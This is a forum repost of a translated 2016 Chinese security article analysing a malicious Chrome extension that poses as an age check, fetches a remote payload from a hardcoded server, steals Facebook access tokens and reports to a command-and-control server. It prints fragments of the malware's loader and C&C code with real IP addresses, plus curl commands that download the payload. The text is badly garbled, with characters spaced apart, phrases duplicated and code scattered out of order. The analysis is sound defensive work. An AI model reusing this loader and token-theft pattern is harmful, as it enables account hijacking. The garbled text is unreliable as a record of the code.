搜索

[10325] 2016-07-21_走近科学Chrome恶意插件如何入侵用户计算机？

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2016-07-21_走近科学Chrome恶意插件如何入侵用户计算机？ 走 近 科 学   |   C h r o m e 恶 意 插 件 如 何 入 侵 用 户 计 算 机 ？ d a w n e r   F r e e B u f   2 0 1 6 - 0 7 - 2 1 在 我 们 日 常 的 生 活 中 ， 浏 览 器 扮 演 了 一 个 愈 加 重 要 的 角 色 。 随 着 W E B 应 用 的 发 展 ， 我 们 开 始 把 最 私 密 的 数 据 放 到 如 F a c e b o o k 、 A m a z o n 或 者 G m a i l 等 在 线 服 务 平 台 上 。 这 样 的 大 趋 势 使 得 我 们 的 在 线 服 务 更 需 要 做 好 安 全 ， 必 须 使 用 上 这 样 的 大 趋 势 使 得 我 们 的 在 线 服 务 更 需 要 做 好 安 全 ， 必 须 使 用 上 H T T P - o n l y 机 制 和 双 因 子 认 证 技 术 等 等 。 但 是 ， 其 实 还 有 个 环 节 可 能 没 有 引 起 太 大 重 视 ， 那 就 是 机 制 和 双 因 子 认 证 技 术 等 等 。 但 是 ， 其 实 还 有 个 环 节 可 能 没 有 引 起 太 大 重 视 ， 那 就 是 浏 览 器 插 件 。 浏 览 器 插 件 。 似 乎 大 部 分 人 都 没 意 识 到 似 乎 大 部 分 人 都 没 意 识 到 ， 浏 览 器 插 件 的 安 全 有 多 重 要 ， 因 为 杀 软 在 这 里 起 的 作 用 不 会 很 大 。 ， 浏 览 器 插 件 的 安 全 有 多 重 要 ， 因 为 杀 软 在 这 里 起 的 作 用 不 会 很 大 。 在 这 篇 文 章 中 ， 笔 者 将 分 享 身 边 一 个 感 染 恶 意 插 件 的 案 例 。 此 前 笔 者 犹 豫 了 很 久 ， 到 底 要 不 要 放 出 完 整 的 代 码 。 最 后 ， 为 了 避 免 恶 意 软 件 的 传 播 ， 笔 者 还 是 放 弃 了 。 但 笔 者 还 是 想 展 示 这 个 恶 意 软 件 的 功 能 ， 所 以 在 其 中 提 取 了 部 分 代 码 ， 并 且 移 除 了 一 些 不 相 关 的 代 码 。 此 外 笔 者 声 明 ， 代 码 中 具 体 的 恶 意 行 为 与 笔 者 无 关 。 事 发 从 事 发 从 F a c e b o o k 开 始 开 始 在 F a c e b o o k 的 新 闻 f e e d 里 ， 笔 者 注 意 到 其 中 一 个 朋 友 总 是 关 注 一 些 不 堪 入 目 的 网 页 链 接 。 而 现 在 F a c e b o o k 里 面 ， 这 类 诱 人 点 击 内 容 的 链 接 ， 其 实 并 不 算 少 见 。 但 笔 者 注 意 到 一 点 ， 那 个 朋 友 总 是 会 关 注 同 一 类 的 链 接 ， 而 那 些 链 接 总 关 注 量 大 概 有 9 0 0 个 ， 然 而 下 方 并 没 有 任 何 评 论 。 并 且 ， 链 接 过 去 的 主 页 链 接 过 去 的 主 页 有 3 0 个 左 右 的 关 注 。 更 怪 异 的 是 ， 该 主 页 的 发 的 每 个 状 态 会 重 复 2 5 遍 。
然 而 据 笔 者 了 解 ， 那 位 朋 友 是 个 聪 明 的 家 伙 ， 正 常 来 讲 不 应 该 天 天 发 这 种 垃 圾 东 西 。 出 于 好 奇 ， 笔 者 决 定 去 研 究 下 这 到 底 是 怎 么 回 事 。 访 问 该 主 页 会 看 到 一 些 链 接 ， 在 点 开 还 没 有 看 到 的 实 际 内 容 的 时 候 ， 它 就 要 求 验 证 笔 者 的 年 龄 。 到 这 儿 其 实 还 没 啥 问 题 ， 但 是 它 这 个 验 证 ， 居 然 是 要 笔 者 去 安 装 一 个 C h r o m e 插 件 。
该 插 件 来 自 于 一 个 叫 v i r a l a n d s . c o m 的 网 站 ， 笔 者 大 概 搜 索 了 下 关 联 到 这 个 网 站 的 插 件 ， 大 多 都 是 一 类 的 东 西 。 当 然 ， 现 在 这 些 插 件 已 经 被 移 除 ， 当 时 那 些 插 件 大 概 有 1 3 2 2 6 5 位 下 载 用 户 。
笔 者 决 定 在 做 其 他 事 情 之 前 ， 先 看 下 该 插 件 的 代 码 。 可 疑 的 插 件 可 疑 的 插 件 笔 者 在 研 究 插 件 时 ， 找 了 一 个 不 错 的 切 入 点 ， 也 就 是 m a n i f e s t . j s o n 文 件 。 这 其 实 是 一 个 元 数 据 文 件 ， 其 中 包 含 了 名 字 、 描 述 、 版 本 号 以 及 权 限 的 等 等 信 息 。 大 概 看 了 下 ， 该 插 件 的 权 限 如 下 ： 大 概 看 了 下 ， 该 插 件 的 权 限 如 下 ： 在 安 装 在 安 装 C h r o m e 插 件 时 ， 谷 歌 会 有 以 下 警 告 ： 插 件 时 ， 谷 歌 会 有 以 下 警 告 ： 确 定 添 加   “ V i r a l C o n t e n t   A g e   V e r i f y ” 插 件 ? 它 将 会 ： 读 取 和 更 改 你 访 问 的 网 站 流 量 。 其 实 到 了 这 里 ， 大 家 已 经 很 明 显 能 看 出 不 对 劲 了 ， 这 并 不 是 一 个 校 验 年 龄 的 插 件 。 如 果 我 们 继 续 看 文 件 ， 我 们 会 发 现 以 下 的 代 码 ： 如 果 我 们 继 续 看 文 件 ， 我 们 会 发 现 以 下 的 代 码 ： 在 这 段 代 码 里 ， 它 会 一 直 运 行 三 个 J S 脚 本 （ 不 会 被 中 止 ） ， 这 足 以 让 黑 客 持 续 从 浏 览 器 里 截 取 并 且 存 储 数 据 ， 并 且 在 不 安 全 的 环 境 下 执 行 存 储 的 代 码 。 让 我 们 看 看 下 面 这 三 个 J S 脚 本 ： b a c k g r o u n d . j s 、 q u e r y - s t r i n g . j s 以 及 i n s t a l l . j s ， 检 查 下 它 们 是 否 能 够 印 证 我 们 的 怀 疑 。 虚 假 的 年 龄 验 证 机 制 虚 假 的 年 龄 验 证 机 制 b a c k g r o u n d . j s 脚 本 非 常 简 短 ， 它 只 做 了 一 件 事 。 当 你 安 装 好 插 件 后 ， 它 会 弹 出 一 个 页 面 让 你 填 写 生 日 ， 然 后 点 击 验 证 。 但 是 这 个 但 是 这 个 J S 脚 本 验 证 过 程 本 身 是 很 有 趣 的 ， 我 们 来 看 看 它 实 际 做 了 什 么 ： 脚 本 验 证 过 程 本 身 是 很 有 趣 的 ， 我 们 来 看 看 它 实 际 做 了 什 么 ： {                   " p e r m i s s i o n s " : [                                       " s t o r a g e " ,                                       " < a l l _ u r l s > " ,                                       " t a b s " ,                                       " w e b N a v i g a t i o n " ,                                       " a l a r m s "                   ] } {                   " b a c k g r o u n d " : {                                       " s c r i p t s " : [                                                         " s c r i p t s / q u e r y - s t r i n g . j s " ,                                                         " s c r i p t s / i n s t a l l . j s " ,                                                         " b a c k g r o u n d . j s "                                       ] , d o c u m e n t . q u e r y S e l e c t o r ( ' # s u b m i t ' ) . a d d E v e n t L i s t e n e r ( ' c l i c k ' , f u n c t i o n ( )   {                   d o c u m e n t . q u e r y S e l e c t o r ( ' # b o x ' ) . h i d d e n =   t r u e ;                   d o c u m e n t . q u e r y S e l e c t o r ( ' # l o a d i n g ' ) . h i d d e n =   f a l s e ;                   s e t T i m e o u t ( f u n c t i o n ( ) {
如 果 你 点 击 了 “ V e r i f y ” ， 他 就 会 显 示 “ L o a d i n g … ” ， 并 且 随 机 延 时 一 会 儿 ， 最 后 显 示 “ D o n e ” 。 很 明 显 ， 代 码 中 并 没 有 真 正 地 进 行 年 龄 校 验 。 那 么 后 面 到 底 还 隐 藏 着 什 么 呢 ？ 这 个 插 件 还 运 行 了 两 个 脚 本 ， 即 q u e r y - s t r i n g . j s 和 i n s t a l l . j s ， 让 我 们 继 续 看 看 。 获 取 一 个 远 程 的 获 取 一 个 远 程 的 p a y l o a d q u e r y - s t r i n g . j s 脚 本 其 实 没 什 么 特 别 的 ， 它 只 是 这 个 N P M 包 的 拷 贝 版 本 。 但 是 ， 你 肯 定 猜 不 到 i n s t a l l . j s 做 了 什 么 ， 在 代 码 中 1 3 3 行 有 重 大 发 现 ！ 首 先 ， 在 该 文 件 的 第 一 行 ， 显 眼 的 写 着 ： 首 先 ， 在 该 文 件 的 第 一 行 ， 显 眼 的 写 着 ： 它 将 获 取 脚 本 的 外 部 服 务 器 地 址 ， 赋 值 为 一 个 硬 编 码 变 量 。 吐 槽 一 下 ， 这 里 连 H T T P S 都 没 用 ， 完 全 可 以 搞 中 间 人 劫 持 好 么 ！ 提 示 ： 该 插 件 直 到 安 装 完 毕 后 ， 才 从 外 部 服 务 器 上 获 取 了 一 个 恶 意 p a y l o a d ， 以 免 被 C h r o m e   W e b s t o r e 安 全 检 查 所 拦 截 。 它 从 服 务 器 上 获 取 了 脚 本 ， 将 其 储 存 在 它 从 服 务 器 上 获 取 了 脚 本 ， 将 其 储 存 在 l o c a l S t o r a g e 并 执 行 ， 我 们 可 以 在 并 执 行 ， 我 们 可 以 在 g e t P r o g r a m ( ) 函 数 中 发 现 这 一 点 ： 函 数 中 发 现 这 一 点 ： 笔 者 这 里 用 笔 者 这 里 用 c U R L 去 模 拟 下 这 样 的 请 求 ： 去 模 拟 下 这 样 的 请 求 ： 这 样 笔 者 就 下 载 了 恶 意 p a y l o a d ， 注 意 本 来 它 没 有 名 字 ， 笔 者 给 他 命 名 为 e x t e r n a l . j s 。 这 是 一 个 非 常 大 的 文 件 ， 共 有 1 2 8 8 行 ， 下 面 会 介 绍 它 的 功 能 。 从 外 部 服 务 器 获 取 指 令 从 外 部 服 务 器 获 取 指 令 在 在 e x t e r n a l . j s 开 始 的 地 方 定 义 了 两 个 开 始 的 地 方 定 义 了 两 个 U R L ： ： 第 一 个 U R L 是 从 服 务 器 获 取 指 令 的 ， 第 二 个 是 回 复 报 告 给 服 务 器 。 这 个 模 式 并 不 是 新 出 现 的 ， 我 们 可 以 称 之 为 命 令 控 制 （ 或 者 简 写 为 C & C ） 。 我 们 会 看 到 该 插 件 是 如 何 从 我 们 会 看 到 该 插 件 是 如 何 从 C & C 服 务 器 获 取 指 令 ， 查 看 服 务 器 获 取 指 令 ， 查 看 e x t e r n a l . j s 里 的 里 的 g e t A c t i o n s ( ) 函 数 ， 就 可 以 获 取 到 指 令 内 容 ： 函 数 ， 就 可 以 获 取 到 指 令 内 容 ： u i d 是 你 机 器 的 独 特 标 识 ， 由 函 数 是 你 机 器 的 独 特 标 识 ， 由 函 数 g e n e r a t e U I D ( ) 生 成 ： 生 成 ： 笔 者 运 行 了 一 次 笔 者 运 行 了 一 次 g e n e r a t e U I D 函 数 ， 然 后 得 到 ： 函 数 ， 然 后 得 到 ： 你 如 果 想 要 获 取 指 令 ， 就 需 要 创 建 自 己 的 你 如 果 想 要 获 取 指 令 ， 就 需 要 创 建 自 己 的 U I D 。 我 们 继 续 模 拟 请 求 ： 。 我 们 继 续 模 拟 请 求 ： 它 会 返 回 一 个 它 会 返 回 一 个 J S O N 文 件 ， 其 中 包 含 了 插 件 需 要 执 行 的 一 系 列 指 令 。 文 件 ， 其 中 包 含 了 插 件 需 要 执 行 的 一 系 列 指 令 。 泄 露 你 的 访 问 令 牌 （ 泄 露 你 的 访 问 令 牌 （ A c c e s s   T o k e n ） ） 当 你 访 问 上 面 J S O N 文 件 里 的 链 接 时 ， 就 会 自 动 转 到 一 个 会 包 含 你 访 问 令 牌 的 U R L ， 该 恶 意 插 件 会 将 c a l l b a c k 的 内 容 捕 获 ， 然 后 发 送 到 外 部 服 务 器 上 ， 最 后 就 成 功 将 你 的 访 问 令 牌 窃 取 。 这 时 候 ， 黑 客 有 了 你 的 F a c e b o o k 访 问 令 牌 ， 就 可 以 访 问 你 的 账 户 了 。 他 们 只 要 登 进 去 ， 就 能 发 送 和 读 取 你 的 消 息 、 发 布 的 状 态 、 链 接 和 评 论 。 关 注 关 注 F a c e b o o k 主 页 主 页 笔 者 下 载 的 指 令 里 ， 也 有 让 插 件 去 访 问 一 个 叫 V V i d e o s s s 的 页 面 的 ：   v a r   p r o g r a m U r l   = ' h t t p : / / 1 0 4 . 1 3 1 . 3 5 . 1 3 6 : 9 9 9 9 / j s n e w . p h p ? i d = 2 2 ' ; f u n c t i o n   g e t P r o g r a m ( e v e n t )   {                   v a r x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;                   v a r u r l   =   p r o g r a m U r l ;                   v a r q u e r y S i g n   =   u r l . i n d e x O f ( ' ? ' )   = = =   - 1   ?   ' ? '   :   ' & ' ;                   u r l + =   q u e r y S i g n   +   ' r = '   +   D a t e . n o w ( ) ; c u r l   - o   e x t e r n a l . j s   - - h e a d e r " X Y Z - E x t e n s i o n - I d :   n o g h e b l b l c g k n c m p g g m i k m c p n j d i h g d d " h t t p : / / 1 0 4 . 1 3 1 . 3 5 . 1 3 6 : 9 9 9 9 / j s n e w . p h p ? i d = 2 2 & r = 1 4 6 7 8 8 3 0 3 7 0 0 0 v a r   A C T I O N S _ U R L   = ' h t t p : / / 1 5 9 . 2 0 3 . 9 9 . 2 0 6 / a p i / g e t / ' ; v a r   S T A T U S _ U R L   = ' h t t p : / / 1 5 9 . 2 0 3 . 9 9 . 2 0 6 / a p i / s t a t u s ' ; f u n c t i o n   g e t A c t i o n s ( u i d )   {                   v a r x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;                   x h r . o p e n ( ' G E T ' , A C T I O N S _ U R L   +   u i d ,   t r u e ) ;                   x h r . r e s p o n s e T y p e =   ' j s o n ' ;                         x h r . o n l o a d =   f u n c t i o n ( )   {                                       v a r d a t a   =   x h r . r e s p o n s e ; f u n c t i o n   g e n e r a t e U I D ( )   {                   v a r a r r a y   =   n e w   U i n t 3 2 A r r a y ( 8 ) ;                   w i n d o w . c r y p t o . g e t R a n d o m V a l u e s ( a r r a y ) ;                                   r e t u r n [ ] . m a p . c a l l ( a r r a y ,   f u n c t i o n ( n )   {                                       r e t u r n n . t o S t r i n g ( 1 6 ) c 3 8 a e 4 e c 1 d 2 8 2 0 b c 9 e 2 c 0 3 c 0 f e 5 1 7 5 8 5 6 4 4 5 7 6 c 9 8 8 a 0 3 a e 8 4 a f 6 3 b 6 d 2 b c 9 e 7 c u r l   - o   a c t i o n s . j s o n h t t p : / / 1 5 9 . 2 0 3 . 9 9 . 2 0 6 / a p i / g e t / c 3 8 a e 4 e c 1 d 2 8 2 0 b c 9 e 2 c 0 3 c 0 f e 5 1 7 5 8 5 6 4 4 5 7 6 c 9 8 8 a 0 3 a e 8 4 a f 6 3 b 6 d 2 b c 9 e 7
看 起 来 似 乎 黑 客 是 买 了 （ 或 者 想 办 法 弄 了 ） 一 些 僵 尸 粉 。 虽 然 这 只 是 纯 粹 的 猜 测 ， 但 笔 者 确 信 这 个 页 面 有 一 些 钓 鱼 内 容 。 订 阅 订 阅 Y o u T u b e 频 道 频 道 虽 然 笔 者 没 有 看 到 任 何 指 令 是 去 订 阅 Y o u T u b e 频 道 的 ， 但 是 代 码 中 确 实 包 含 了 一 个 函 数 用 来 干 这 个 。 回 复 报 告 给 回 复 报 告 给 C & C 服 务 器 服 务 器 该 插 件 可 以 通 过 以 下 的 函 数 ， 将 当 前 状 态 回 复 报 告 给 该 插 件 可 以 通 过 以 下 的 函 数 ， 将 当 前 状 态 回 复 报 告 给 C & C 服 务 器 ： 服 务 器 ： 它 会 发 送 给 服 务 器 三 个 东 西 ： 它 会 发 送 给 服 务 器 三 个 东 西 ： 1 . U I D ， 也 就 是 甄 别 受 感 染 机 器 的 标 识 。 2 . 插 件 I D ， 也 就 是 对 应 到 每 个 插 件 的 字 符 串 。 毕 竟 C h r o m e   W e b s t o r e 里 面 有 许 多 类 似 的 插 件 ， 黑 客 可 能 需 要 知 道 你 用 的 哪 一 款 。 3 . 受 感 染 的 机 器 是 否 已 经 关 联 F a c e b o o k 。 黑 客 会 用 这 些 信 息 来 判 断 他 们 的 僵 尸 网 络 的 确 切 规 模 和 活 动 情 况 ， 以 便 在 黑 市 确 定 其 价 值 。 更 多 潜 在 的 内 容 更 多 潜 在 的 内 容 该 插 件 一 直 在 寻 找 一 个 新 版 本 的 p a y l o a d ， 虽 然 笔 者 没 有 看 到 相 应 的 内 容 ， 但 是 它 是 有 可 能 衍 生 出 新 的 扩 展 和 能 力 的 。 因 为 该 恶 意 插 件 有 权 限 “ 读 取 和 更 改 网 站 流 量 ” ， 黑 客 可 以 读 取 你 浏 览 器 里 的 所 有 内 容 。 比 如 他 们 会 读 取 你 的 e m a i l 、 窃 取 你 网 站 的 登 录 凭 证 ， 利 用 你 的 机 器 D D o S 别 人 ， 获 取 比 特 币 ， 做 盗 版 种 子 节 点 ， 甚 至 读 取 你 的 信 用 卡 信 息 （ 如 果 你 曾 经 在 浏 览 器 里 面 输 入 过 相 关 内 容 ） 。 干 掉 僵 尸 网 络 干 掉 僵 尸 网 络 虽 然 大 多 数 V i r a l a n d s   插 件 被 C h r o m e   W e b s t o r e 下 线 了 ， 但 是 那 1 3 2 , 2 6 5 位 受 感 染 的 用 户 仍 然 受 影 响 ， 笔 者 窃 以 为 这 样 是 改 变 不 了 现 状 的 。 幸 运 的 是 ， 这 个 幸 运 的 是 ， 这 个 C & C 构 建 的 不 是 很 好 ， 如 构 建 的 不 是 很 好 ， 如 w i k i 所 述 ： 所 述 ：   一 个 僵 尸 网 络 服 务 器 结 构 中 ， 如 果 缺 乏 冗 余 的 主 控 ， 至 少 在 暂 时 失 去 该 主 控 时 是 有 问 题 的 。 尤 其 在 这 种 情 况 下 ， C & C 服 务 器 主 控 地 址 是 被 硬 编 码 到 恶 意 插 件 代 码 中 。 如 果 我 们 想 办 法 让 该 地 址 失 效 ， 那 么 这 僵 尸 服 务 网 络 自 然 不 攻 自 破 。 使 用 I P a l y z e r 分 析 了 下 ， 笔 者 发 现 I P 地 址 来 自 于 主 机 商 D i g i t a l O c e a n 。 顺 便 提 一 句 ， 这 是 一 家 服 务 非 常 高 效 的 主 机 商 。 如 果 D i g i t a l O c e a n   关 掉 这 C & C 服 务 器 主 控 ， 这 些 僵 尸 网 络 的 肉 鸡 自 然 都 解 放 了 。 我 们 以 后 该 怎 么 做 我 们 以 后 该 怎 么 做 笔 者 自 然 不 能 让 大 家 都 不 使 用 浏 览 器 插 件 ， 其 中 一 些 是 非 常 有 用 的 ， 它 们 还 能 帮 助 我 们 拥 有 更 安 全 的 上 网 体 验 。 但 是 ， 恶 意 软 件 也 是 存 在 的 ， 有 时 候 我 们 也 不 得 不 给 第 三 方 软 件 高 权 限 。 因 此 ， 在 这 里 我 想 提 出 一 些 意 见 ， 希 望 可 以 缓 解 一 些 现 状 。 f u n c t i o n   s e n d S t a t u s ( d a t a )   {                   c h r o m e . s t o r a g e . l o c a l . g e t ( ' u i d ' , f u n c t i o n ( s t o r a g e )   {                                       d a t a . i d =   s t o r a g e . u i d ;                                       d a t a . e x t e n s i o n _ i d =   c h r o m e . r u n t i m e . i d ;                                       d a t a . f b L o g i n S t a t u s =   f b L o g i n S t a t u s ;
谷 歌 可 以 开 始 着 手 恢 复 对 原 来 的 受 信 任 插 件 的 信 任 ， 比 如 可 以 手 动 验 证 插 件 ， 或 者 审 查 插 件 开 发 者 的 声 誉 等 。 代 码 开 源 也 是 一 个 好 的 解 决 办 法 ， 如 果 某 插 件 是 开 源 的 ， 官 方 可 以 去 给 它 加 上 标 识 。 但 是 也 有 一 个 问 题 ， 开 源 展 示 出 来 的 代 码 不 一 定 跟 上 架 的 插 件 代 码 一 模 一 样 。 笔 者 建 议 在 g i t h u b 上 自 动 构 建 发 布 最 新 版 本 的 代 码 ， 然 后 标 记 为 开 源 。 还 有 ， 别 忘 了 这 是 谷 歌 干 的 破 事 儿 ！ 他 们 做 了 静 态 代 码 分 析 和 自 动 修 复 建 议 ， 并 为 此 存 了 约 8 6 T B 的 库 。 别 告 诉 我 们 没 有 发 现 这 么 明 显 的 ， 仅 有 2 0 K B 的 恶 意 C h r o m e 插 件 ！ 事 实 上 ， C h r o m e   W e b s t o r e 现 在 的 检 测 机 制 就 是 个 笑 话 ， 我 们 想 要 逃 避 官 方 检 测 安 装 恶 意 p a y l o a d ， 只 需 要 在 安 装 插 件 后 进 行 就 可 以 了 。 多 年 以 来 ， 谷 歌 一 直 没 彻 底 解 决 这 一 点 。 他 们 曾 开 展 过 C h r o m e 的 漏 洞 赏 金 计 划 ， 但 是 却 刻 意 避 开 了 这 个 如 此 明 显 ， 而 几 乎 没 有 防 护 的 安 全 威 胁 。 事 实 上 这 是 C h r o m e   W e b s t o r e 上 的 阴 影 ， 下 架 插 件 对 受 感 染 的 用 户 并 没 有 什 么 帮 助 ， 而 这 个 漏 洞 恐 怕 也 是 当 前 W E B 上 最 大 的 安 全 威 胁 之 一 。 后 记 后 记 就 职 于 C h r o m e 安 全 的 W i l l   H a r r i s 告 诉 笔 者 ， 这 些 插 件 已 经 能 够 自 动 化 地 从 受 害 者 机 器 清 除 了 。 这 对 大 家 来 说 是 个 好 消 息 ， 那 1 3 2 , 0 0 0 名 用 户 不 会 再 受 感 染 的 侵 害 ， 官 方 提 供 了 更 好 也 更 简 便 的 方 式 来 干 掉 该 僵 尸 网 络 。 * 参 考 来 源 ： k j a e r ， F B 小 编 d a w n e r 编 译 ， 转 载 请 注 明 来 自 F r e e B u f （ F r e e B u f . C O M ）     阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理